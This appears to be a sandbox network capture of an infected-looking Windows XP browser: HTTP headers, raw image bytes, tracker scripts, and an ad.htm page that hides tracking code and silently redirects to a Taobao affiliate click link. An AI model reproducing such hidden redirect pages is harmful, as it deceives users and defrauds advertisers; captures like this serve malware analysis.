Last-Modified: Sat, 25 Apr 2015 14:17:37 GMT

Expires: Thu, 24 Apr 2025 07:12:02 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache30.l2de1[0,200-0,H], cache51.l2de1[0,0], cache10.uk1[0,200-0,H], cache4.uk1[0,0]

Age: 2514110

X-Cache: HIT TCP_MEM_HIT dirn:7:738570276

X-Swift-SaveTime: Mon, 27 Apr 2015 07:12:25 GMT

X-Swift-CacheTime: 315359977
GIF89a.............!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin
="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe
:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:4
4:00        "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-
rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http
://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/
sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:Ori
ginalDocumentID="xmp.did:02173465-d404-4b7b-bdf5-3b77242461ce" xmpMM:D
ocumentID="xmp.did:4EC8B078E28411E48DA0C5916A68EE5E" xmpMM:InstanceID=
"xmp.iid:4EC8B077E28411E48DA0C5916A68EE5E" xmp:CreatorTool="Adobe Phot
oshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID=
"xmp.iid:4236c97f-561f-4a8a-b455-ce8185ecc2f9" stRef:documentID="adobe
:docid:photoshop:e0f0ed29-2ae1-1178-8075-fbaef41d6a4d"/> </rdf:D
escription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r
"?>................................................................
..................................................................~}|{
zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;
:9876543210/.-, *)('&%$#"! .................................!.......,.
.................l`....!.......,.............y.....IVT..!.......,.....
.............l`....!.......,.............y.....IVT..;..
<<< skipped >>>

GET /tps/i1/TB1BCuuGXXXXXX5XVXXliWH8FXX-126-354.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtd.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 16937

Connection: keep-alive

Date: Thu, 06 Nov 2014 11:29:45 GMT

Last-Modified: Fri, 05 Sep 2014 08:20:14 GMT

Expires: Sun, 03 Nov 2024 11:29:45 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache62.l2de1[0,200-0,H], cache35.l2de1[0,0], cache7.uk1[0,200-0,H], cache12.uk1[1,0]

Age: 17359449

X-Cache: HIT TCP_MEM_HIT dirn:4:782287802

X-Swift-SaveTime: Tue, 07 Apr 2015 09:20:15 GMT

X-Swift-CacheTime: 302234970
.PNG........IHDR...~...b.....0@l.... cHRM..z%..............u0...`..:..
..o._.F....bKGD..............pHYs.................vpAg...~...b.r.....A
&IDATx...yx.E....=.'.... .$ ...S. ...u.*..... . .^..."*Ht]$..z l..( ,w
 \..e B.."......d...?z....L&.LH..<O?3.U]]..._.]E [email protected]...
[email protected] s.O...u..]%.>I..-...75<..?.]\
[email protected]..}..r6r..N.......7~:. c.=..R<i........>O..~.GA9m...
..............U.!PD...=.u...?a..zG..x.>......Wq..&.,...;J..".o.n..e
\....k...........u....I... ...n.....'.=..m2-.0fR...2.......q...2......
..(.}......k/.....;~...u.".L}...r\.... ...n.P....... ..Y.}Y.V..{k.3.[\
......Y.5.....p.|.!....p.<..>..P.|.<<.;)..<^.........D.
.-.... ..8..oY.Lt.i.............. (...9..x.@.....~Hw".w...q...^.=...[:
...8..s.0.I0AJ.../M._..! W<...om.eS.f.....WB)..r..F~..y.5K>..b..
.(..9..7....P......0......k..47..q..Ix.....'..../0....u..`.*.K.@U.... 
.7M(.1.~.~e.@.....}......x[.zs...f^. \6..A=`:........ll8.....^,....o..
.......[._9b....Q.!.[.....w:......0.d. [email protected]..~...`{.I...i5.....y.
yd$....6..Y.........7...F0Da..$.......qQ.._..\v..s:.........Gs....z...
(....9.I#..F.c..{..3c............Gp....P....tN....U. ]...U...t.oM..F)&
lt;G..;'....1.[0..M.....5.?f.....M.......J...h.r..{b.....`...0|.&.o'..
.,|[email protected].... A....:......Z.@?...y.....o.b0w....G.=......_..|AE..t..
.B..54..f..i.].{..m.{.......M......-.'...`.....w.p....^...8.>H....0
~u....U...(.....O...?.......J.9BN......x...u.w8......k....-...q....._.
.R..k~..cD.....k......._KQ........V..[......n..k.].O>..C....N).
<<< skipped >>>

GET /ad.htm HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: jc.110160.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 757

Content-Type: text/html

Last-Modified: Thu, 14 May 2015 08:58:36 GMT

Accept-Ranges: bytes

ETag: "84468729248ed01:1012"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Tue, 26 May 2015 09:33:39 GMT
<html>..<body>..    <div style="display: none">  ..&
lt;script language="javascript" type="text/javascript" src="hXXp://js.
users.51.la/17745949.js"></script>..<noscript><a hre
f="hXXp://VVV.51.la/?17745949" target="_blank"><img alt="我
;要啦免费统计" src="hXXp://img.use
rs.51.la/17745949.asp" style="border:none" /></a></noscrip
t>..</div>..    <script language="javascript" type="text/j
avascript">..         setTimeout("location.href='hXXp://s.click.tao
bao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguM
N8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4V
ibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdX
pojKJn5AyUbPoV';", 100);..    </script>..</body>..</htm
l>..HTTP/1.1 200 OK..Content-Length: 757..Content-Type: text/html..
Last-Modified: Thu, 14 May 2015 08:58:36 GMT..Accept-Ranges: bytes..ET
ag: "84468729248ed01:1012"..Server: Microsoft-IIS/6.0..X-Powered-By: A
SP.NET..Date: Tue, 26 May 2015 09:33:39 GMT..<html>..<body>
;..    <div style="display: none">  ..<script language="javas
cript" type="text/javascript" src="hXXp://js.users.51.la/17745949.js"&
gt;</script>..<noscript><a href="hXXp://VVV.51.la/?1774
5949" target="_blank"><img alt="我要啦免
费统计" src="hXXp://img.users.51.la/17745949.asp" st
yle="border:none" /></a></noscript>..</div>..
<<< skipped >>>

GET /tps/i1/TB1eHBsGFXXXXa7XFXXoYWL.FXX-130-35.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 1318

Connection: keep-alive

Date: Thu, 06 Nov 2014 11:31:54 GMT

Last-Modified: Sun, 19 Oct 2014 05:24:46 GMT

Expires: Sun, 03 Nov 2024 11:31:54 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache29.l2de1[0,200-0,H], cache25.l2de1[1,0], cache4.de1[0,200-0,H], cache2.de1[1,0]

Age: 17359318

X-Cache: HIT TCP_MEM_HIT dirn:0:604209158

X-Swift-SaveTime: Tue, 07 Apr 2015 08:32:27 GMT

X-Swift-CacheTime: 302237967
.PNG........IHDR.......#.....o."....xPLTE.............................
......................................................................
............................'tRNS................S~..... .do..vKD.\<
;2. ..e.2...6IDATX...... ...].}.....p"...$.95U.....?.............lEn.G
......DQ.n.5..4.....'./.#[email protected][email protected].|.:[email protected]...`1.
.Fh........E.V")>.x.9..n.D...tV....B%.s......\.=.......ME....!\Y...
E<P..`X......r8...k...6?.K.A..sHB(i.<.<f.VIR.t(=.7..u........
k.1......a......u..P.1.(......X}Bu!.c.7..ci^..o@...../B...}..6........
.......}....w.....(P.....&.Cn......r..eh..Y*....a.Z.P..l..MDYY..'..$..
n..G....u:..E,..a.W(.....9~.y.s. .hA...s~B.1.......fE.?J...C...6Q.....
X.G.$*..7...%...:q..&i./`=..#.C.i..@H!4|.,..u..Ch.P ,/....z|.E...$.XR.
@B(.@.."CD......\&...A9...... !..D.V...Vk.9%...q..u..:.....L..........
0...2.U ..h.k.7.PY2...v.BC....AR.. .h,_ ,.U "r_..?(..v.g...w:jD7..5...
.Y:.a.6.W.........d.:..[.H..^..Ji=...@.!......!....._........I..{.8.](
.<..|...........c&;.m.#4";..v...[..#.. !..)#:..F...|%...q.Z..Oz6N.8
.\.Hwh-Q..M-|....P...V.i|.h..)..}..]..a_ZZ..%.`..;U....G...!T...G..I;f
.V..../(._....Lr...1).h...[{.....'.0yO...Ms.....!jvt.m..........7.V..k
.W.*....<...mg...p.? ...r.<....FQr....kd....x ....wb.[.....(.B.V
........l.xu.......5..........).~.dl.0.,.?......=W.e.8b5.".?..!.:.....
....IEND.B`.....
<<< skipped >>>

GET /tps/i1/TB16cHvHVXXXXXeXpXXZ6GBKFXX-150-150.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 13255

Connection: keep-alive

Date: Mon, 25 May 2015 23:58:55 GMT

Last-Modified: Mon, 25 May 2015 09:43:47 GMT

Expires: Thu, 22 May 2025 23:58:55 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache59.l2de1[294,200-0,M], cache35.l2de1[295,0], cache9.de1[0,200-0,H], cache2.de1[0,0]

Age: 34497

X-Cache: HIT TCP_MEM_HIT dirn:6:437035634

X-Swift-SaveTime: Mon, 25 May 2015 23:58:55 GMT

X-Swift-CacheTime: 315360000
.PNG........IHDR.............<.q.... cHRM..z%..............u0...`..
:....o._.F....bKGD..............pHYs.................vpAg...........e.
..2.IDATx..}i..Yu.w..%..T.Ri_.%u7...a.....l....a`.0..0.....,f......9.x
c.....=mv...W.....Z{I*.j.....x....^Ddi........RVfDdT.O..w.w.%f..,./[.|
...\....E.$...E.$...E.$...E.$...E.$...E.$...E.$...E.$...E.$...E.$...E.
$...E.$.....O.....x..q...._..........-..G....<.>9.....&.]./..8..
..Wy..h.=/..7.9_....b...K..k...gu<.>.....>...F..<.nY~?G...
@"...cG.C7... .....}.;o..../|...tc...t.X.'......i.<.....w.M....P...
.........n.(....%..f...k .j#{G.>.n6...,......=..baV.........Tv.Z.CC
W.K{.s..~.BA......h...0=xb.X...V'[email protected]..../..x..`...k.A.Z......
j.v........-_...s..(..:x.:_J.X.......9.6.;i{`......"..tLr.b...\..Gv..{
.......`3.....q.B...O.DkV*Y.Bw.KP.gg....=..o........Z.....[w...|A.....
8...E.......E..B....QlZ..L.:n|..Cx..}y...=...,O....7I!....~.{.x.7..~We
...)...Y.....\...............G_.......9o*.\[email protected]*.....a
`.7.........@a.(.0..cR".._.&'...o=0...{xh<D....^T<.9......B.I.Yl
pY..`.....G.}qa......,.#.>!.P.=....B.....U...$...........kI.Fem...Q
Q.F.*.s...t_./E..X..Y.O.G...?2]*...^..'..g^..-..p^U#.....QW.44.(...8..
...v..l)...$n@.......<.."..xr.(....p.;5.q...(. 8...E6....Z.F..X..}h
V......5U..._...Mw.........W]&..C...YDd. .T..wT.>....J....XCG...4Pm
B%...4x.a..D../.ET...I.^vh..]...c.o(y...[ksi{`u.......i.Xge....o......
5v....e..9.7$.$..u$.:D.#.........g........k.4<`t.jh...P....E...[.y.
.=....A...7..yXt..I....;.....*.p.u[7.]..uvTNV...F.v...).V.$..5..I.
<<< skipped >>>

GET /tps/i2/TB1z6_KHVXXXXbpXXXX9sla8VXX-750-300.jpeg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 80782

Connection: keep-alive

Date: Tue, 26 May 2015 07:59:03 GMT

Last-Modified: Tue, 26 May 2015 07:50:10 GMT

Expires: Fri, 23 May 2025 07:59:03 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache9.l2de1[0,200-0,H], cache20.l2de1[0,0], cache2.uk1[0,200-0,H], cache9.uk1[1,0]

Age: 5689

X-Cache: HIT TCP_MEM_HIT dirn:4:904348084

X-Swift-SaveTime: Tue, 26 May 2015 07:59:32 GMT

X-Swift-CacheTime: 315359971
......JFIF.....H.H.....C..............................................
......................C...............................................
........................,.............................................
.f.........................!..1.AQ.."2aq......#BR....34TUbr.......$67C
Vt.....8SWsuv...%'E...&5c..Ddg...................................K....
.....................!1AQ..aq.."2........R..#3BSbr45T...Ü..$C..6s...
...........?......&."."..I=.!$.....WB.5...hB.....JIE%). $..P..........
.....w..>....................................BAY.q$...P.P......!`..
...J........R.)&.$...kY..$.....!%]hIIWZ.J..HU.)*.........B.U....zWB.\B
I..%a](B...p....JB..[..O..S.. e..P....B.B.hB(B(B(B(B(B(B(B(B|.z3P...j.
4.A..k.JaM....{.FGQ....[.Q.....S.....S4m......e...7'..Iei)q...'..`.]G.
.....\mL/.....bBm.j.5...)2..9.eJ......{ZlH.. ...W.......5.m...... ..A*
O....WKH...Qc...GD....(.....m.1$2....... |l..z.......Ox.V...mP.Zvt9.R.
a........s.....Q.w.......C...f.......sjN.j.!2TMAb....J.WdV.RR..h...#..
...M.\...-......1\R.B.GZSwAV....&. ..P.......I=.  .JR.......qIJJ..4...
.Q\(A.]BM.E.E.E..P.P..;.....B..M..P.P.P.P.P.P.P.P.P.P.P.P.P..u. ......
B.B.hBI...'..$.......v.Q..&R...$..i...-t.$....BAI=.....I=.!$.......iHI
...*.B..JJJ(BI..%a])HY..&., .)...-.z..AO.....E.J..4!.!&.".".".".".".".
 [email protected]&....Vj...Er..Z.d$o...A......c..p..Y.W.....Z..s[.h?..._.-..R..
uf....m.K.._`.X.C*[email protected]*j.RE!.......n ..jm...](.p..l
......F;q...%2........O6....`.}u. ...n..6].o.H..k...N..O.......4.6....
ob.p.....l.R.l7.8.st........Wkt..X .VvO?...Z.8.qh;...JQl..F.....xw
<<< skipped >>>

GET /tps/i2/TB1_AIOHFXXXXXKaXXXt7e2LVXX-1920-455.jpg_q75.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 18367

Connection: keep-alive

Date: Mon, 11 May 2015 03:00:09 GMT

Last-Modified: Mon, 11 May 2015 02:32:07 GMT

Expires: Thu, 08 May 2025 03:00:09 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache55.l2de1[0,200-0,H], cache56.l2de1[0,0], cache12.uk1[0,200-0,H], cache9.uk1[0,0]

Age: 1319623

X-Cache: HIT TCP_MEM_HIT dirn:1:377791134

X-Swift-SaveTime: Mon, 11 May 2015 09:25:12 GMT

X-Swift-CacheTime: 315336897
......JFIF.....H.H.....C...........................#.%$"."!& 7/&)4)!"0
A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.....................................
............A.......................!1Q.."2Aq.Ra....#3Bbr...$...4S...T
cs.C..............................,.....................!1."2AQaq..B..
...R...............?..0..=.#5.LW.....1..WJ.........8..:.......WB......
......................................................................
......................................................................
................................f.9.|...y."{..X............Y..}."{..X.
......................................................................
......................................................................
..................................cb......i..V<..e..Z&&5......^1.]5
....l..M..a.....m;.>. .c5.b........................................
......................................................................
..................................................................vo..
.T.|c..V.].W...H.i.kf...Ip..9[.DF.1..m/H.....nU...W...>S..i..h.I...
G....d................................................................
......................................................................
...............................................R..-X.r.7gL.^....'X..'.
B...O.?J.DF..BV.......................................................
......................................................................
..................................................................
<<< skipped >>>

GET /tps/i2/TB10FuzHVXXXXbIXFXXrywt4VXX-120-120.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 29776

Connection: keep-alive

Date: Mon, 25 May 2015 00:00:46 GMT

Last-Modified: Mon, 18 May 2015 01:09:49 GMT

Expires: Thu, 22 May 2025 00:00:46 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache16.l2de1[297,200-0,M], cache53.l2de1[297,0], cache8.uk1[0,200-0,H], cache9.uk1[1,0]

Age: 120786

X-Cache: HIT TCP_MEM_HIT dirn:5:590961402

X-Swift-SaveTime: Mon, 25 May 2015 00:00:47 GMT

X-Swift-CacheTime: 315359999
.PNG........IHDR...x...x.....9d6.....bKGD..............pHYs...H...H.F.
k>....vpAg...x...x..E.[..sTIDATx...w...U..~.~.....O...''.h.r.....L.
.1`.../6~/.kx_.8b2B.4HBy$F3..............RU.?N.0BH.{5..E.........S....
..].......C.mO...k;.........;>.........;>........../...!....k...
k..u....L.h... .3ZhZ..-1-.M[..qm....N..;)d...v.jX..Eh)'..TP[...NGM....
.:.H..$H4...D... H..Bk....]....F.^.y...$S..~.^.%..f... ..?.sDn....a...
..7\?....k.p...;...A.R.6`.X...o.pb`.......H..P!h..........m....Dh.....
w...]..s.p.t....Q...:.v..j..0T.$R.j.....>.n5...u.}n..Y..........D..
.....~.0t...X~#.xq....?.e(....t.....w.`)...C......C6e.....?c...$X{.. .
.../m.:~;{.!^j..... 5..../..%..=...p..g.&~|...f..h'!.:AH.Rb....b....?.
....O...h...8R 5....w.wb....X.?..._..}o......*yZ...vH.8..?.].7......#.
..........#1......-....9P.'.Y.#..c..{......N...Q>.z.g.3`Y(. .......
[.....L..Z..ma0hc.R"....0..l,[.......^9.K.%,ia.F)P..Kc.0.}[email protected]
..D.#@ ....-...,...x...6...D...#.|mh....t:..J..0.......'....b.}.~ .'~.
..._................72.e.Z..m..........h..h.N...A.1..../....<....$.
[email protected]....... .5.`.O ..`.....P..4 @.C....7.e.l0h.H.
... ..^v.....K.hW..7.....%7..N.J......n...0 0....Dk....}.!1..^....>
.;...g./[email protected]......$..]......O~.w.....n..|;sy!...F..
.(.\S.Z[Y].-..-.. %.k...0.`@J....^h,Q9.s..Ki_...../Y...nn)....Z$Z#.H!P
h.ac..AO.1dm........>.c.$....c.....%ZD......lt[.Z.A.`314...P.(E.o..
.v.k........_zc.~.-.y;Z.U.0...vj&.1...f...|;si)H......8.....f".I.a....
,U...8.^.;..b...^k2!...q.. ..../L...........bN!..QF...I[.6.n....X.
<<< skipped >>>

GET /tps/i2/TB1s5xDHFXXXXbrXpXX9sla8VXX-750-300.jpeg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 88762

Connection: keep-alive

Date: Tue, 26 May 2015 00:03:01 GMT

Last-Modified: Mon, 25 May 2015 08:13:43 GMT

Expires: Fri, 23 May 2025 00:03:01 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache33.l2de1[0,200-0,H], cache57.l2de1[0,0], cache6.uk1[0,200-0,H], cache9.uk1[1,0]

Age: 34265

X-Cache: HIT TCP_MEM_HIT dirn:3:300955948

X-Swift-SaveTime: Tue, 26 May 2015 00:03:12 GMT

X-Swift-CacheTime: 315359989
......JFIF.....H.H.....C..............................................
......................C...............................................
........................,.............................................
.\...........................!1.AQ."aq.2B....#Rb...r...$37.....46Tt...
CDSsu.......^Vc..U....................................Q.............
............!1AQ."aq...2......B....#Rbr...35S...46Cs....Tt.$...Dc.....
........?....:..1.:A..e{..(-.u..]Y.Z......BSBR..n4ln.s.....mB.aJ......
r...fI...u..SM?.l'.........n.a.V[....;..3..........P.\.......E. {Q....
...M. e..&..s..58.-....G_.*>:.k[~.....Z.n...Ol..k. V[.V.8d...tx[.*.
.[.....d.L..g...].....OxR..{...<.....:..mw...Q;.=S.Qj.............c
[..=4..Wl.'...^.Q.%.%.OA.]op.;....zO3}6V..l.M%M.Rr.........>.=..z".
6>........pH..).....*...4K.....}G.X...[b..U`.W.k...6..-... ../*..[.
.o..I....2.4l..X...C._t...........l..4...(...`J..<.&8..._,.(.(.U?.c
..H>..........BR9....H=..J...wNC....e......o...MB.k.....2I........\
&...q... Lz.k..[..<.....BN.. ..m....L.....T74..N..*o. .H.5,.G...S.-
........N..7`..V....)FF*..u#....j........=.q..RXE.9.nSF...a@#. ....8..
U....]V8.....$ ...j=I.6.)T..m.,T.......8...H..Vl..X..m..Rd../^.s....8.
.)..7^..c?.Nh...9.......Y.....z&.O....d..W.......p..$..Y..u.k.@...]...
v..X.....:.Q...yi<R......$#B.5.......u......-[..-......,.....hE.l..
.'....A)....'(..4.%KkG..)[email protected]]d.j.U. b(Td...`..yi.....YD....f..U8..\
[email protected]%".at..t..A.K\;$]<....<.......ZAH:
.M..,4$.."...AH..]-s.$.B.L4.......#.B..gKH..#..B.\H .g]. :.JV;}L..
<<< skipped >>>

GET /4.gif?logtype=1&title=%u3010%u805A%u5212%u7B97%u3011%u65E0%u6240%u4E0D%u80FD%u805A&pre=http://s.click.taobao.com/t_js?tu=http%3A%2F%2Fs.click.taobao.com%2Ft%3Fe%3Dm%253D2%2526s%253D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%252BV2hm%252FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%252FDpPH01wK9AmARIwX9K%252BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV%26ref%3D%26et%3D4mlmGlHXw1E%252BVkS0wTh80ZXkMi5N%252BqCa&cache=8589720&scr=1276x846&spm-cnt=608.2291429.0.0.mFV6W8&isbeta=2&category=&uidaplus=&at_bucketid=jhs_ju_9&aplus&yunid=&&trid=0a67c42014326328310584752e&asid=AQAAAAD/PWRVNAP FAAAAAAqrVQOpllrsw==&p=1&o=winXP&b=ie6&s=1276x846&w=trident HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: log.mmstat.com

Connection: Keep-Alive

Cookie: cna=9SvrDV4lMC8CAcGK9OfYORML

HTTP/1.1 302 Found

Server: Tengine

Date: Tue, 26 May 2015 09:33:55 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: sca=1f7304ab; path=/; domain=.mmstat.com

Set-Cookie: tbsa=eea8b9a9ad2fd932e3513448_1432632835_1; path=/; domain=.mmstat.com

Set-Cookie: atpsida=39f844352a6f1c251a6c99eb_1432632835; expires=Fri, 23-May-25 09:33:55 GMT; path=/; domain=.mmstat.com

Location: hXXp://pcookie.taobao.com/app.gif?&cna=9SvrDV4lMC8CAcGK9OfYORML

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Tue, 26 May 2015 09:33:55 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: sca=1f7304ab; 
path=/; domain=.mmstat.com..Set-Cookie: tbsa=eea8b9a9ad2fd932e3513448_
1432632835_1; path=/; domain=.mmstat.com..Set-Cookie: atpsida=39f84435
2a6f1c251a6c99eb_1432632835; expires=Fri, 23-May-25 09:33:55 GMT; path
=/; domain=.mmstat.com..Location: hXXp://pcookie.taobao.com/app.gif?&c
na=9SvrDV4lMC8CAcGK9OfYORML..Expires: Thu, 01 Jan 1970 00:00:01 GMT..C
ache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,
...........L..;..

GET /z_stat.php?id=1255080332 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s95.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Date: Tue, 26 May 2015 09:33:36 GMT

Last-Modified: Tue, 26 May 2015 09:33:36 GMT

Cache-Control: max-age=5400,s-maxage=5400

Via: cache42.l2de1[615,200-0,M], cache24.l2de1[616,0], cache1.de1[616,200-0,M], cache4.de1[616,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2

X-Swift-SaveTime: Tue, 26 May 2015 09:33:36 GMT

X-Swift-CacheTime: 5400
2fe..(function(){function k(){this.c="1255080332";this.R="z";this.N=""
;this.K="";this.M="";this.r="1432632816";this.P="oz.cnzz.com";this.L="
";this.u="CNZZDATA" this.c;this.t="_CNZZDbridge_" this.c;this.F="_cnzz
_CV" this.c;this.G="CZ_UUID" this.c;this.v="0";this.A={};this.a={};thi
s.la()}function g(a,b){try{var c=.[];c.push("siteid=1255080332");c.pus
h("name=" f(a.name));c.push("msg=" f(a.message));c.push("r=" f(h.refer
rer));c.push("page=" f(e.location.href));c.push("agent=" f(e.navigator
.userAgent));c.push("ex=" f(b));c.push("rnd=" Math.floor(2147483648*Ma
th.random()));(new Image).src="hXXp://jserr.cnzz.com/log.php?" c.join(
"&")}catch(d){}}var h=document,e=window,f=encodeURIComponent,l=decodeU
RIComponent,n=unescape,p=escape;k.prototype={la:function(){try{this.U(
)..245d..,this.J(),this.ia(),this.H(),this.o(),.this.ga(),this.fa(),th
is.ja(),this.j(),this.ea(),this.ha(),this.ka(),this.ca(),this.aa(),thi
s.da(),this.qa(),e[this.t]=e[this.t]||{},this.ba("_cnzz_CV")}catch(a){
g(a,"i failed")}},oa:function(){try{var a=this;e._czc={push:function()
{return a.B.apply(a,arguments)}}}catch(b){g(b,"oP failed")}},aa:functi
on(){try{var a=e._czc;if("[object Array]"==={}.toString.call(a))for(va
r b=0;b<a.length;b  ){var c=a[b];switch(c[0]){case "_setAccount":e.
_cz_account="[object String]"==={}.toString.call(c[1])?c[1]:String(c[1
]);.break;case "_setAutoPageview":"boolean"===typeof c[1]&&(e._cz_auto
Pageview=c[1])}}}catch(d){g(d,"cS failed")}},qa:function(){try{if("und
efined"===typeof e._cz_account||e._cz_account===this.c){e._cz_acco
<<< skipped >>>

GET /s?z=tianya&c=1862820201 HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

